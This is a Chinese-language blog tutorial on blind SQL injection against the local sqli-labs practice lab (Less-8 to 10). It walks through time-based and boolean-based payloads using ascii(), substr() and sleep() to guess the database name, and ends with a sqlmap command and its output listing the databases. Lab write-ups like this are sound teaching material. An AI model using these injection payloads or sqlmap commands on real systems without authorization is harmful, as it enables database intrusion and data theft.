Fork me on GitHub

盲注介绍

Blind SQL(盲注)是注入攻击的其中一种,向数据库发送(true)或(false)这样的问题,并根据应用程序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题

演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息。Bind SQL(盲注)与常规注入很接近,不同的是数据库返回数据的检索方式。若数据库没有输出数据到web页面,攻击者会询问一些列的true或false问题,强制从数据库获取数据

盲注常分为:基于布尔型的盲注 和 基于时间的盲注

进入Less8

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-8/?id=1
http://127.0.0.1/sqli/Less-8/?id=1" --+
<!--显示如下-->
 You are in...........
 
http://127.0.0.1/sqli/Less-8/?id=1' --+
http://127.0.0.1/sqli/Less-8/?id=1\ --+
<!--显示如下-->
<!--无返回结果-->

GET基于时间的盲注

点击查看ascii对照表,115表示小写字母s

ascii()函数的作用,将数字转换为对应的字母

mysql> select ascii('s')\G
*************************** 1. row ***************************
ascii('s'): 115
1 row in set (0.00 sec)

substr()的作用,从大字符串中提取小字符串

参数说明

substr(str,num1,num2)

str 表示大字符串

num1 表示从大字符串的哪个位置提取

num2 表示提取大字符串的几个字符

使用示例如下:

mysql> select substr('abc',1,1)\G
*************************** 1. row ***************************
substr('abc',1,1): a
1 row in set (0.00 sec)

mysql> select substr('abc',2,1)\G
*************************** 1. row ***************************
substr('abc',2,1): b
1 row in set (0.00 sec)

mysql> select substr('abc',1,2)\G
*************************** 1. row ***************************
substr('abc',1,2): ab
1 row in set (0.00 sec)

在mysql中查询 1 和 sleep(3)都不会报错,只是sleep(3)会睡眠3秒

mysql> select 1\G
*************************** 1. row ***************************
1: 1
1 row in set (0.00 sec)

mysql> select sleep(3)\G
*************************** 1. row ***************************
sleep(3): 0
1 row in set (3.01 sec)

当数据库名第一个字母的ascii码等于115时,执行一次sleep(3)函数,等待3秒,否则执行1

如果执行sleep(3),在浏览器网络面板中,会看到3+正常网络请求响应时间

and if(ascii(substr(database(),1,1))=115,sleep(3),1)

如果对上于if语句表达式还不清楚的,可以简单参考

if(ascii(substr(database(),1,1))=115)
{
	sleep(3)
}else{
	1
}

实验:Sqli-Lab Less9~10,GET基于时间的盲注

进入Less9

使用单引号加时间盲注

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-9/?id=1' --+
<!--在浏览器面板中记录下耗时-->
为32毫秒
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-9/?id=1'and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+
<!--在浏览器面板中记录下耗时-->
为3.03秒

以上验证了存在时间盲注

进入Less10

使用双引号加时间盲注

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-10/?id=1" --+
<!--在浏览器面板中记录下耗时-->
为32毫秒
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+
<!--在浏览器面板中记录下耗时-->
为3.03秒

GET基于布尔的盲注

基于布尔型的盲注,我们通常采用下面的办法猜解字符串

select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;

进入Less8

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-8/?id=1
<!--显示如下-->
You are in...........

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-8/?id=1'
<!--显示如下-->
<!--无返回结果-->

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-8/?id=1' --+
<!--显示如下-->
 You are in...........

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-8/?id=1' and length(database())=8 --+
<!--显示如下-->
 You are in...........

说明分析 1' --+能够返回结果,说明应用程序使用单引号包围参数,

猜测sql语句如下

select * from security.users where id = 'id' limit 0,1;

1' and length(database())=8--+ 能够返回结果,可以将参数代入sql语句中,猜测参数转换后如下

select * from security.users where id = '1' and length(database())=8 --+' limit 0,1;

在命令行中执行,sql查询语句验证,通过参数代入的方式,可以猜测出数据名称长度

mysql> select * from users where id = '1' and length(database())=8\G
*************************** 1. row ***************************
      id: 1
username: Dumb
password: Dumb
1 row in set (0.00 sec)

mysql> select * from users where id = '1' and length(database())=7\G
Empty set (0.00 sec)

通过分析,可以将基于布尔盲注的其他语句加入

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-8/?id=1' and substr(database(),1,1)="s" --+
<!--显示如下-->
You are in...........
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+
 <!--显示如下-->
You are in...........
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>114 --+
 <!--显示如下-->
You are in...........
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))<116 --+
 <!--显示如下-->
You are in...........

Sqlmap安全测试

基于时间的盲注

Techniques(技巧):
These options can be used to tweak testing of specific SQL injection techniques

​ 这些选项可用于调整特定SQL注入的测试技术

​ --technique=TECH.. SQL injection techniques to use (default "BEUSTQ")

T 时间

B 布尔

E 错误

U 联合查询

S 堆叠

Q 查询

打死sqlmap快捷方式,进入命令行,提示时间盲注,时间会比较长,具体要看指定的参数和数据库的大小

#命令行执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique T --dbs --batch
'''
information_schema
[14:56:49] [INFO] retrieved: challenges
[14:57:21] [INFO] retrieved: mysql
[14:57:38] [INFO] retrieved: performance_schema
[14:58:37] [INFO] retrieved: security
[14:59:02] [INFO] retrieved: test
[14:59:17] [INFO] retrieved: web09
available databases [7]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test
[*] web09
'''

通过查看sqlmap的执行过程,了解到sqlmap首先获取了information_schema,然后很快的,就拿到了所有数据库名称信息

posted on 2019-12-29 15:02  anyux  阅读(121)  评论(0)    收藏  举报